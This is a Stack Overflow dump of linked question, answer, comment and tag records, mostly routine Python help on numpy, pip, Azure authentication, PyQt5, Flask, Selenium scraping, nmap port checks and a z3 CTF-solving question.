has answer: http://stackoverflow.com/a/49469141

http://stackoverflow.com/comment/86158914
score: 0
comment on: http://stackoverflow.com/q/49574246
type: Comment
has text: I just tried but `contour = (x - x_center) ** 2 + (y - y_center) ** 2 == radius ** 2` then `mask_contour = np.zeros((nx, ny, nz))` and finally `mask_contour[:, :, 0][contour] = 1` allow me to have an array where the coords of the outline of the circle is equal 1 and the rest of the array is equal to 0. By the way, I know I have a problem understanding how plotting works when it become harder than just plotting an array
type: QuestionComment

http://stackoverflow.com/comment/86038381
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49515189
has text: But what are `i`, `j` and `punto`? Either way edit your question with an example function call.
score: 1

http://stackoverflow.com/a/49561927
upvote count: 1
has comment: http://stackoverflow.com/comment/86177223
answers question: http://stackoverflow.com/q/49543771
downvote count: 0
type: Answer
has body: There are a few problems with your code: You don't create a nmap object; The scan() does not seems to support multiple ips using this format, although I might be wrong (scan source code); Therefore, the fixed code should be: def scan(registered_hosts, port): hosts_up = [] nm = nmap.PortScanner() for host in registered_hosts: scan_result = nm.scan(hosts=host, ports=port) if scan_result['scan'].get(host, {}).get('tcp', {}).get(int(port), {}).get('state', '') == 'open': hosts_up.append({ 'host': host, 'url': 'http://%s:%s' % (host, str(port)), 'hostname': nm[host].hostname() }) return hosts_up Sadly, this lib seems to be completely synchronous for multiple ips if ain't on a sequence. Therefore if you are looking for an async solution, you should build one yourself :( Please take the code with a grain of salt: It wasn't tested.
has comment: http://stackoverflow.com/comment/86149250
score: 1

http://stackoverflow.com/comment/86168266
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49565049
has text: I tried and it still returned me the same error. Here's what I did, `df'growth_rate', 'growth_rate2', 'growth_rate3' = df.to_string(formatters=['{:,.2%}'.format]*3)`. I can't figure it out what goes wrong here though.
score: 0

http://stackoverflow.com/comment/86062922
score: 0
has text: Oh I guess youre right. That explains why the first trial did not give any syntax errors. He copied from shell to shell I guess.
type: AnswerComment
comment on: http://stackoverflow.com/a/49528474
type: Comment

http://stackoverflow.com/q/49468410
has comment: http://stackoverflow.com/comment/85939600
has comment: http://stackoverflow.com/comment/85939616
has body: Lets say I have a multidimensional array [A][B][C], and I want to order the array with respect to A, of course the relationship of the values of B and C which corresponded to their neighboring A needs to be maintained. Also, assuming we have multiple As with the same value, how do we order the Bs so that we have A ordered primarily then B ordered if its possible. Something like: (1,2,3) (1,3,7) (1,4,5) (1,5,2) (2,3,5) (2,4,9) (2,5,0) ...
favorite count: 0
type: Question
type: UnansweredQuestion
score: -2
tagged with: python
tagged with: sorting
tagged with: statistics
upvote count: 0
downvote count: 2
answer count: 1
tagged with: arrays
has answer: http://stackoverflow.com/a/49469380
has title: Ordering multi-dimensional array in Python

http://stackoverflow.com/comment/85935481
type: Comment
type: QuestionComment
has text: Also perhaps have a look at `datetime.timedelta`
comment on: http://stackoverflow.com/q/49466423
score: 1

http://stackoverflow.com/q/49536925
linked to: http://stackoverflow.com/q/19198920
score: 1
upvote count: 1
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86092576
favorite count: 0
type: Question
answer count: 0
downvote count: 0
type: UnansweredQuestion
has body: Ive got a Counter which currently I print out a long list of each word and its corresponding frequency of occurrence using the following: from collections import Counter import matplotlib.pyplot as plt import pandas as pd data = [] with open('csv.csv') as f: data = [word for row in csv.reader(f) for word in row[1].lower().split()] counts = Counter(data) for value, count in counts.most_common(): print(value, count) I would like to view the data instead in either a scatter plot or bar chart format. The issue I have with the solution Using Counter() in Python to build histogram? is that it throws an error about not all my strings being unicode and just shows one bar of maximum length.
tagged with: counter
tagged with: python
has title: Plot Counter as scatter plot
has comment: http://stackoverflow.com/comment/86080664

bash
tags question: http://stackoverflow.com/q/49580800
tags question: http://stackoverflow.com/q/49571597
tags question: http://stackoverflow.com/q/49562687
type: Tag
tags question: http://stackoverflow.com/q/49511142
tags question: http://stackoverflow.com/q/49595541
tags question: http://stackoverflow.com/q/49586435
tags question: http://stackoverflow.com/q/49568077
tags question: http://stackoverflow.com/q/49475022
tags question: http://stackoverflow.com/q/49550702
tags question: http://stackoverflow.com/q/49592150
tag name: bash
tags question: http://stackoverflow.com/q/49547714
tags question: http://stackoverflow.com/q/49516592
tags question: http://stackoverflow.com/q/49473252
tags question: http://stackoverflow.com/q/49546082
tags question: http://stackoverflow.com/q/49563521
tags question: http://stackoverflow.com/q/49488410

http://stackoverflow.com/comment/86076393
comment on: http://stackoverflow.com/q/49532361
has text: I have updated the code stage, now it might be clearer. I want to comment just tag
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49583494
has comment: http://stackoverflow.com/comment/86175273
has comment: http://stackoverflow.com/comment/86175214
has body: This probably falls under "don't do this" category, given https://github.com/agronholm/pythonfutures/issues/41 - it's a backport library specifically intended for use only on Python 2. But strangely, I'm seeing having it installed cause symptoms that are especially bad on Amazon Linux and not as noticeable elsewhere. Test case: $ docker run -it amazonlinux /bin/bash bash-4.2# yum install -y python36-virtualenv &gt; /dev/null bash-4.2# virtualenv-3.6 ~/testenv Using base prefix '/usr' New python executable in /root/testenv/bin/python3.6 Also creating executable in /root/testenv/bin/python Installing setuptools, pip, wheel...done. bash-4.2# source ~/testenv/bin/activate (testenv) bash-4.2# pip --version pip 9.0.3 from /root/testenv/local/lib/python3.6/site-packages (python 3.6) (testenv) bash-4.2# pip install futures Collecting futures Downloading futures-3.1.1.tar.gz Building wheels for collected packages: futures Running setup.py bdist_wheel for futures ... done Stored in directory: /root/.cache/pip/wheels/ad/79/48/b32521764d59b16fd1bc0ffd 5862f6d3bf770c7d73ea1fb12a Successfully built futures Installing collected packages: futures Successfully installed futures-3.1.1 (testenv) bash-4.2# pip --version Traceback (most recent call last): File "/root/testenv/bin/pip", line 7, in &lt;module&gt; from pip import main File "/root/testenv/local/lib/python3.6/site-packages/pip/__init__.py", line 4 5, in &lt;module&gt; from pip.vcs import git, mercurial, subversion, bazaar # noqa File "/root/testenv/local/lib/python3.6/site-packages/pip/vcs/subversion.py", line 9, in &lt;module&gt; from pip.index import Link File "/root/testenv/local/lib/python3.6/site-packages/pip/index.py", line 31, in &lt;module&gt; from pip.wheel import Wheel, wheel_ext File "/root/testenv/local/lib/python3.6/site-packages/pip/wheel.py", line 6, i n &lt;module&gt; import compileall File "/usr/lib64/python3.6/compileall.py", line 20, in &lt;module&gt; from concurrent.futures import ProcessPoolExecutor File …
score: 0
answer count: 0
tagged with: pip
has comment: http://stackoverflow.com/comment/86175257
has comment: http://stackoverflow.com/comment/86175381
tagged with: amazon-linux
type: Question
has title: pip install futures breaks pip, but only on amazonlinux?
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86175434

http://stackoverflow.com/comment/86020764
score: 0
type: AnswerComment
has text: When I run it outside of the notebook (i.e., running it as a script), I get: https://i.imgur.com/TowWLEE.png ('MacOSX' backend)
type: Comment
comment on: http://stackoverflow.com/a/49501991

http://stackoverflow.com/a/49503412
downvote count: 0
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/49503359
has body: Try this. You need to compare your strings to strings as in what_to_do == 'G' def G(): def gl(): url = ("www.google.com") webbrowser.open_new(url) exit() def glin(): os.startfile("C:\Program Files\M Google\Google Chrome.lnk") exit() while 1: what_to_doG = input("choosing which one of glin or gl"); if what_to_doG == 'gl': gl() elif what_to_doG == 'glin': glin() break while 1: what_to_do = input("choosing out of G or B") if what_to_do == 'G': G() elif what_to_do == 'B': B() break
answers question: http://stackoverflow.com/q/49503359
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/85950374
type: Comment
comment on: http://stackoverflow.com/q/49471142
type: QuestionComment
has text: Thanks a lot. Think I was just being foolish
score: 0

http://stackoverflow.com/comment/86049431
has text: Got it, in excel its an BDS and not BDH, Do you have an idea how to call market that way, I tried without the dates,... or with start and end date the same and doesnt work.
type: AnswerComment
comment on: http://stackoverflow.com/a/49496171
score: 0
type: Comment

http://stackoverflow.com/a/49552118
upvote count: 3
score: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86112807
accepted answer of: http://stackoverflow.com/q/49551981
has comment: http://stackoverflow.com/comment/86113801
answers question: http://stackoverflow.com/q/49551981
type: Answer
has comment: http://stackoverflow.com/comment/86256186
has comment: http://stackoverflow.com/comment/86134615
has body: You can easily parametrize the url: for i in range(1000, 5000): driver.get('https://stuactonline.tamu.edu/app/organization/profile/public/id/' + str(i)) #Your stuff...

http://stackoverflow.com/a/49549704
has comment: http://stackoverflow.com/comment/86107533
upvote count: 2
answers question: http://stackoverflow.com/q/49549585
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86106861
has body: In [83]: M Out[83]: &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 20 stored elements in Compressed Sparse Row format&gt; In [84]: np.hstack([M,M]) Out[84]: array([&lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 20 stored elements in Compressed Sparse Row format&gt;, &lt;10x10 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 20 stored elements in Compressed Sparse Row format&gt;], dtype=object) In [85]: sparse.csr_matrix(_) ... ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all(). That was the wrong hstack. The np.hstack knowns nothing about sparse matrices. So it just wraps each one in object array, and joins them into a 2 element array. So it's not surprising that csr_matrix has problems digesting that. In [86]: sparse.hstack([M,M]) Out[86]: &lt;10x20 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 40 stored elements in COOrdinate format&gt; The sparse.hstack converts all matrices into coo format, and then joins their rows,cols,data arrays appropriately, and then makes a new sparse matrix. sparse.hstack with format parameter: In [88]: sparse.hstack([M,M],format='csr') Out[88]: &lt;10x20 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 40 stored elements in Compressed Sparse Row format&gt;
has comment: http://stackoverflow.com/comment/86109693

http://stackoverflow.com/q/49455654
upvote count: 2
score: 1
has body: I'm trying to import python module requests in a program that uses python (Choregraphe for NAO the robot). I can't use shell commands like sudo install etc... I can only import module by moving the module into lib folder of the project. So I've downloaded requests from pypi, and I've also downoaded requirements that I've moved into requests folder (https://i.sstatic.net/JpTqD.png). But when I try to import requests from the program, it returns me an error: File "C:\Users\gurfe\AppData\Roaming\PackageManager\apps\.lastUploadedChoregrapheBehavior\behavior_1\../lib\requests\__init__.py", line 112, in &lt;module&gt; from . import utils ImportError: cannot import name utils Why do I see this error?
has answer: http://stackoverflow.com/a/49487509
tagged with: python-requests
downvote count: 1
tagged with: import
favorite count: 0
linked to: http://stackoverflow.com/q/45799150
type: Question
tagged with: pepper
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85939117
tagged with: python
has comment: http://stackoverflow.com/comment/85938865
has comment: http://stackoverflow.com/comment/85914307
has comment: http://stackoverflow.com/comment/85914442
has title: Unable to import requests module in python due to "ImportError: cannot import name utils"
answer count: 2
has answer: http://stackoverflow.com/a/49508490
has comment: http://stackoverflow.com/comment/85914272
tagged with: nao-robot

http://stackoverflow.com/q/49568487
tagged with: python
type: AnsweredQuestion
has title: Authenticate a python application in VM with Managed Service Identity(MSI)
score: 0
answer count: 2
tagged with: azure
has answer: http://stackoverflow.com/a/49604639
accepted answer: http://stackoverflow.com/a/49604639
tagged with: azure-managed-identity
tagged with: azure-sdk
has body: I am trying to use MSI example provided in below link : https://learn.microsoft.com/en-us/python/azure/python-sdk-azure-authenticate?view=azure-python#mgmt-auth-msi To do that, I created a linux VM , installed MSI extension on it and running above code in a python application and when I run that python application I get the following error: [azureuser@vish-redhat ~]$ python msi-auth.py No handlers could be found for logger "msrestazure.azure_active_directory" Traceback (most recent call last): File "msi-auth.py", line 10, in &lt;module&gt; subscription = next(subscription_client.subscriptions.list()) File "/usr/lib/python2.7/site-packages/msrest/paging.py", line 121, in __next__ self.advance_page() File "/usr/lib/python2.7/site-packages/msrest/paging.py", line 107, in advance_page self._response = self._get_next(self.next_link) File "/usr/lib/python2.7/site-packages/azure/mgmt/resource/subscriptions/v2016_06_01/operations/subscriptions_operations.py", line 207, in internal_paging request, header_parameters, **operation_config) File "/usr/lib/python2.7/site-packages/msrest/service_client.py", line 191, in send session = self.creds.signed_session() File "/usr/lib/python2.7/site-packages/msrestazure/azure_active_directory.py", line 685, in signed_session self.set_token() File "/usr/lib/python2.7/site-packages/msrestazure/azure_active_directory.py", line 681, in set_token self.scheme, _, self.token = get_msi_token(self.resource, self.port, self.msi_conf) File "/usr/lib/python2.7/site-packages/msrestazure/azure_active_directory.py", line 590, in get_msi_token result = requests.post(request_uri, data=payload, headers={'Metadata': 'true'}) File "/usr/lib/python2.7/site-packages/requests/api.py", line 108, in post return request('post', url, data=data, json=json, **kwargs) File "/usr/lib/python2.7/site-packages/requests/api.py", line 50, in request response = session.request(method=method, url=url, **kwargs) File "/usr/lib/python2.7/site-packages/requests/sessions.py", line…
type: Question
has answer: http://stackoverflow.com/a/49616411
possible better answer: http://stackoverflow.com/a/49616411

http://stackoverflow.com/q/49455602
tagged with: tweepy
has answer: http://stackoverflow.com/a/49455826
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/94730207
has answer: http://stackoverflow.com/a/61665213
downvote count: 0
answer count: 7
has comment: http://stackoverflow.com/comment/85914170
accepted answer: http://stackoverflow.com/a/49456084
has answer: http://stackoverflow.com/a/71493779
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49456084
has answer: http://stackoverflow.com/a/64408690
has comment: http://stackoverflow.com/comment/85914874
score: 5
linked to: http://stackoverflow.com/q/53942081
has title: Python - Import tweepy ImportError: No module named tweepy
has body: I installed pip install tweepy and it installed without errors. Requirement already satisfied: tweepy in /Library/Python/2.7/site-packages Requirement already satisfied: requests&gt;=2.11.1 in /Library/Python/2.7/site-packages (from tweepy) Requirement already satisfied: PySocks&gt;=1.5.7 in /Library/Python/2.7/site-packages (from tweepy) Requirement already satisfied: six&gt;=1.10.0 in /Library/Python/2.7/site-packages (from tweepy) Requirement already satisfied: requests-oauthlib&gt;=0.7.0 in /Library/Python/2.7/site-packages (from tweepy) Requirement already satisfied: certifi&gt;=2017.4.17 in /Library/Python/2.7/site-packages (from requests&gt;=2.11.1-&gt;tweepy) Requirement already satisfied: chardet&lt;3.1.0,&gt;=3.0.2 in /Library/Python/2.7/site-packages (from requests&gt;=2.11.1-&gt;tweepy) Requirement already satisfied: idna&lt;2.7,&gt;=2.5 in /Library/Python/2.7/site-packages (from requests&gt;=2.11.1-&gt;tweepy) Requirement already satisfied: urllib3&lt;1.23,&gt;=1.21.1 in /Library/Python/2.7/site-packages (from requests&gt;=2.11.1-&gt;tweepy) Requirement already satisfied: oauthlib&gt;=0.6.2 in /Library/Python/2.7/site-packages (from requests-oauthlib&gt;=0.7.0-&gt;tweepy) Here is my code: import tweepy from tweepy import OAuthHandler consumer_key = 'consumer_key' consumer_secret = 'consumer_secret' access_token = 'access_token' access_token_secret = 'access_token_secret' auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) public_tweepy.API('Yunus Hatipoglu') for tweet in public_tweets: print(tweet.text) analysis = TextBlob(tweet.text) print(analysis.sentiment) As application, I use Pycharm and my operating system is OSX. python3 --version: Python 3.6.4 When I run my code, I get the following error: import tweepy ImportError: No module named tweepy
has answer: http://stackoverflow.com/a/54879656
upvote count: 5
has comment: http://stackoverflow.com/comment/85914497
tagged with: python
has answer: http://stackoverflow.com/a/60953500
possible better answer: http://stackoverflow.com/a/49455826

http://stackoverflow.com/q/49472786
type: Question
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85959420
has body: i have past ctf challange which i know how to solve but i need to solve it completely in z3 only without using any tools other than z3, i tried to use the user_input as array of BitVec but z3 failed to find the solution the goal here to make the final v3 equal to FLAG[i] the final flag is round_r0und .... FLAG = [0x726F756E, 0xCABEE660, 0xDDC1997D, 0xAA93C38B, 0x87E21216] user_input = bytearray("") def n1(a1,a2,a3): return (a1 - a2 + a3) % 26 + a2 def ENC(a1,a2): if ( a1 &gt; 96 and a1 &lt;= 122 ): return n1(a1, 0x61, a2) if ( a1 &lt;= 64 or a1 &gt; 90 ): return a1 return n1(a1, 0x41, a2) def FINAL(a1,a2): return (a1 &lt;&lt; (a2 &amp; 0x1F)) | (a1 &gt;&gt; (-(a2 &amp; 0x1F) &amp; 0x1F)) for i in range(4): enc = 0; for j in range(3): enc |= ENC(user_input[4 * i + j], i) &lt;&lt; 8 * (3 - j) v3 = FLAG[i] if( v3 != FINAL(enc, i) ): break
accepted answer: http://stackoverflow.com/a/49482415
answer count: 1
tagged with: z3py
favorite count: 0
tagged with: z3
type: AnsweredQuestion
has title: How to Solve this in z3 only
score: 1
has answer: http://stackoverflow.com/a/49482415
tagged with: python

http://stackoverflow.com/q/49512528
tagged with: spacy
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/49512583
answer count: 1
has title: Replace tags in place of words - spacy
favorite count: 0
type: Question
tagged with: nltk
linked to: http://stackoverflow.com/q/49460078
tagged with: python
has body: I am trying to replace the sentence with their tags. I want tags to replace words and form as a sentence. from __future__ import unicode_literals import spacy,en_core_web_sm import textacy nlp = en_core_web_sm.load() sentence = 'The cat sat on the mat. the dog sleeps.' doc = nlp(sentence) for token in doc: print(token.dep_) output. det nsubj ROOT prep det pobj punct det nsubj ROOT punct Expected output: det nsubj ROOT prep det pobj det punct det nsubj ROOT punct
has answer: http://stackoverflow.com/a/49512583

http://stackoverflow.com/q/49479913
has comment: http://stackoverflow.com/comment/85963092
score: 3
tagged with: encoding
has title: How to check if a string contain only UTF-8 characters
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85963035
has body: So far I am doing something like this: def is_utf8(s): try: x=bytes(s,'utf-8').decode('utf-8', 'strict') print(x) return 1 except: return 0 the only problem is that I don't want it to print anything, I want to delete the print(x) and when I do that, the function stops functioning correctly. For example if I do : print(is_utf8("H�tst")) while the print is in the function it returns 0 otherwise it prints 1. Am i approaching the problem in a wrong way
tagged with: python
tagged with: utf-8
linked to: http://stackoverflow.com/q/196345
has comment: http://stackoverflow.com/comment/85962721
has answer: http://stackoverflow.com/a/49480024
upvote count: 3
has comment: http://stackoverflow.com/comment/85963075
downvote count: 0
answer count: 1
tagged with: string
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/86127453
type: QuestionComment
score: 0
has text: No, `after()` does not create threads. It simply adds something to the internal event queue used by tkinter. Tkinter is single threaded.
type: Comment
comment on: http://stackoverflow.com/q/49559348

http://stackoverflow.com/q/49582598
has comment: http://stackoverflow.com/comment/86174457
has comment: http://stackoverflow.com/comment/86174428
tagged with: pyqt
score: 1
has comment: http://stackoverflow.com/comment/86174611
answer count: 1
downvote count: 0
has title: How do I update pyqt5 progress bar in Ui_MainWindow
tagged with: pyqt5
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49583366
tagged with: python-3.x
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49583366
has comment: http://stackoverflow.com/comment/86174584
has body: I try to make the progress bar update real-time with pyqt5, however, the documentation online seems very limited for now. I read online that I can use thread and signal to do that. However, the syntax seems changed in pyqt5. Can any experts here help? Main ui window. # -*- coding: utf-8 -*- # # Created by: PyQt5 UI code generator 5.9 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets from sendInvoice import * class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(441, 175) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.progressBar = QtWidgets.QProgressBar(self.centralwidget) self.progressBar.setGeometry(QtCore.QRect(30, 20, 411, 61)) self.progressBar.setProperty("value", 0) self.progressBar.setObjectName("progressBar") self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setGeometry(QtCore.QRect(160, 100, 75, 23)) self.pushButton.setObjectName("pushButton") MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 441, 21)) self.menubar.setObjectName("menubar") MainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.retranslateUi(MainWindow) self.pushButton.clicked.connect(self.sendInvoice) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow")) self.pushButton.setText(_translate("MainWindow", "Send")) def sendInvoice(self): sendInvoice.sendInv() if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) w…
has comment: http://stackoverflow.com/comment/86174544
has comment: http://stackoverflow.com/comment/86174490
has comment: http://stackoverflow.com/comment/86174599
tagged with: python
has comment: http://stackoverflow.com/comment/86173412
tagged with: qprogressbar

django-templates
tags question: http://stackoverflow.com/q/49584132
tags question: http://stackoverflow.com/q/49542448
tags question: http://stackoverflow.com/q/49570379
tags question: http://stackoverflow.com/q/49457538
tags question: http://stackoverflow.com/q/49522697
tags question: http://stackoverflow.com/q/49563116
tags question: http://stackoverflow.com/q/49560378
tags question: http://stackoverflow.com/q/49503762
tags question: http://stackoverflow.com/q/49503663
tags question: http://stackoverflow.com/q/49543522
tags question: http://stackoverflow.com/q/49491438
tag name: django-templates
tags question: http://stackoverflow.com/q/49451626
tags question: http://stackoverflow.com/q/49597661
tags question: http://stackoverflow.com/q/49555248
tags question: http://stackoverflow.com/q/49494019
tags question: http://stackoverflow.com/q/49571327
type: Tag
tags question: http://stackoverflow.com/q/49489528

http://stackoverflow.com/comment/86180766
has text: @iam.Carrot: In this case, I think you'd want `ast.parse`, so you can get the actual AST tree to modify before passing it to `eval`. Doing a `literal_eval` immediately converts the `3.1`, `4/5` and `5/6` values to floats, which loses some precision.
type: QuestionComment
comment on: http://stackoverflow.com/q/49583811
score: 0
type: Comment

nlp
tags question: http://stackoverflow.com/q/49447174
tags question: http://stackoverflow.com/q/49589709
tags question: http://stackoverflow.com/q/49560419
tags question: http://stackoverflow.com/q/49534036
tags question: http://stackoverflow.com/q/49542787
tags question: http://stackoverflow.com/q/49440520
tags question: http://stackoverflow.com/q/49550034
tags question: http://stackoverflow.com/q/49589974
tags question: http://stackoverflow.com/q/49588352
tags question: http://stackoverflow.com/q/49483971
tags question: http://stackoverflow.com/q/49447770
tags question: http://stackoverflow.com/q/49491063
tags question: http://stackoverflow.com/q/49567318
tag name: nlp
tags question: http://stackoverflow.com/q/49456122
type: Tag
tags question: http://stackoverflow.com/q/49518172
tags question: http://stackoverflow.com/q/49551138
tags question: http://stackoverflow.com/q/49565521
tags question: http://stackoverflow.com/q/49459115
tags question: http://stackoverflow.com/q/49448515
tags question: http://stackoverflow.com/q/49510935
tags question: http://stackoverflow.com/q/49492038
tags question: http://stackoverflow.com/q/49526981
tags question: http://stackoverflow.com/q/49500259

http://stackoverflow.com/comment/86163429
type: QuestionComment
has text: Why use regex? Index them directly: `line[:2]` and `line[-2:]`.
comment on: http://stackoverflow.com/q/49577890
score: 10
type: Comment

http://stackoverflow.com/a/49595546
score: 1
type: Answer
downvote count: 0
has body: To get the picture attributes from this site you have to induce a waiter through WebDriverWait and you can use the following code block : from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support.ui import Select from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC driver = webdriver.Chrome(executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe') driver.get("https://www.mcmaster.com") items = WebDriverWait(driver, 20).until(EC.visibility_of_all_elements_located((By.XPATH, "//div[@class='catg Fastening-Joining']//ul//li//a"))) for i in items : print("Item %s link is %s." % (i.text, i.get_attribute("href"))) Console Output : Item Screws &amp; Bolts link is https://www.mcmaster.com/#Screws. Item Threaded Rods &amp; Studs link is https://www.mcmaster.com/#Threaded-Rods. Item Eyebolts link is https://www.mcmaster.com/#Eyebolts. Item U-Bolts link is https://www.mcmaster.com/#U-Bolts. Item Nuts link is https://www.mcmaster.com/#Nuts. Item Washers link is https://www.mcmaster.com/#Standard-Washers. Item Shims link is https://www.mcmaster.com/#Shims. Item Helical &amp; Threaded Inserts link is https://www.mcmaster.com/#Threaded-Inserts. Item Spacers &amp; Standoffs link is https://www.mcmaster.com/#Spacers. Item Pins link is https://www.mcmaster.com/#Pins. Item Anchors link is https://www.mcmaster.com/#Standard-Anchors. Item Nails link is https://www.mcmaster.com/#Nails. Item Nailers link is https://www.mcmaster.com/#Nailers. Item Rivets link is https://www.mcmaster.com/#Rivets. Item Rivet Tools link is https://www.mcmaster.com/#Rivet-Installation-Tools. Item Staples link is https://www.mcmaster.com/#Staples. Item Staplers link is https://www.mcmaster.com/#Staplers. Item Key Stock link is https://www.mcmaster.com/#Machine-Keys. Item Retaining Rings link is https://www.mcmaster.com/#Retaining-Rings. Item Cable Ties link is https://www.…
upvote count: 1
answers question: http://stackoverflow.com/q/49592759

http://stackoverflow.com/q/49450615
has comment: http://stackoverflow.com/comment/85903514
score: 2
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85903454
linked to: http://stackoverflow.com/q/2502833
has answer: http://stackoverflow.com/a/49450978
has comment: http://stackoverflow.com/comment/104329094
downvote count: 1
favorite count: 0
type: Question
has title: python execute command with multiple arguments
has body: I want to run the following command using Python on a Mac OS X computer: openssl enc -aes-128-cbc -K $(echo -n 'blabla1' | xxd -p) -iv blabla2 -in /tmp/clair -nopad -out /tmp/crypte1 -d Here is what I have tried: clef = 'blabla1' iv = 'blabla2' arguments = ['openssl','enc', '-aes-128-cbc', '-K $(echo -n \'%s\' | xxd -p)' % clef ,'-iv' ,'%s' % iv,'-in', '/tmp/clair','-nopad','-out','/tmp/crypte1','-d'] execute = Popen(arguments, stdout=PIPE) out, err = execute.communicate() The command works fine from a terminal but I get an error from the Python script: unknown option '-K $(echo -n 'blabla1' | xxd -p)' I have tried several variants of python shell functions (os.system for example), but I have a problem in each case.
has comment: http://stackoverflow.com/comment/85903559
tagged with: python
has answer: http://stackoverflow.com/a/49451212
has comment: http://stackoverflow.com/comment/85903904
has comment: http://stackoverflow.com/comment/85905191
answer count: 2
has comment: http://stackoverflow.com/comment/85905842

http://stackoverflow.com/q/49597868
tagged with: flask-assets
accepted answer: http://stackoverflow.com/a/49597869
has answer: http://stackoverflow.com/a/49597869
tagged with: gunicorn
answer count: 1
tagged with: python
tagged with: flask
has body: I have a Flask based app that uses flask-assets to bundle, compile and minify css and Javascript. A timeout occurs when I start the app with gunicorn using gunicorn --bind=0.0.0.0:8000 --workers=3 --log-level=INFO manage:app The timeout message states that: [2018-04-01 11:15:13 +0000] [10] [INFO] Starting gunicorn 19.6.0 [2018-04-01 11:15:13 +0000] [10] [INFO] Listening at: http://0.0.0.0:8000 (10) [2018-04-01 11:15:13 +0000] [10] [INFO] Using worker: sync [2018-04-01 11:15:13 +0000] [16] [INFO] Booting worker with pid: 16 [2018-04-01 11:15:13 +0000] [17] [INFO] Booting worker with pid: 17 [2018-04-01 11:15:13 +0000] [18] [INFO] Booting worker with pid: 18 [2018-04-01 11:15:46 +0000] [10] [CRITICAL] WORKER TIMEOUT (pid:17) [2018-04-01 11:15:47 +0000] [17] [INFO] Worker exiting (pid: 17) [2018-04-01 11:15:47 +0000] [19] [INFO] Booting worker with pid: 19 I have defined the assets in an assets.py file with the content from flask_assets import Bundle app_css = Bundle('app.scss', filters='libsass', output='styles/app.css') app_js = Bundle('app.js', filters='jsmin', output='scripts/app.js') vendor_css = Bundle( 'vendor/semantic.css', filters='cssmin', output='styles/vendor.css') vendor_js = Bundle( 'vendor/jquery.min.js', 'vendor/semantic.min.js', 'vendor/tablesort.min.js', 'vendor/zxcvbn.js', filters='jsmin', output='scripts/vendor.js') The relevant part in the main app __init__.py is from flask_assets import Environment from .assets import app_css, app_js, vendor_css, vendor_js def create_app(config_name): ... # Set up asset pipeline assets_env = Environment(app) dirs = ['assets/styles', 'assets/scripts'] for path in dirs: assets_env.append_path(os.path.join(basedir, path)) assets_env.url_expire = True assets_env.register('app_css', app_css) assets_env.register('app_js', app_js) assets_env.register('vendor_css', vendor_css) assets_env.register('vendor_js', vendor_js) The question is, how can the timeout be avoided? Is it possible to precompile the assets before gunicor…
type: AnsweredQuestion
score: 0
has title: Timeout due to flask-assets pipeline when debug is turned off
type: Question

http://stackoverflow.com/comment/85973652
score: 0
comment on: http://stackoverflow.com/q/49451018
has text: @jezrael thanks I will give that a try
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49527538
has comment: http://stackoverflow.com/comment/86061455
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49536388
tagged with: cuda
has title: Python -- cuda latency?
has comment: http://stackoverflow.com/comment/86060939
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86060642
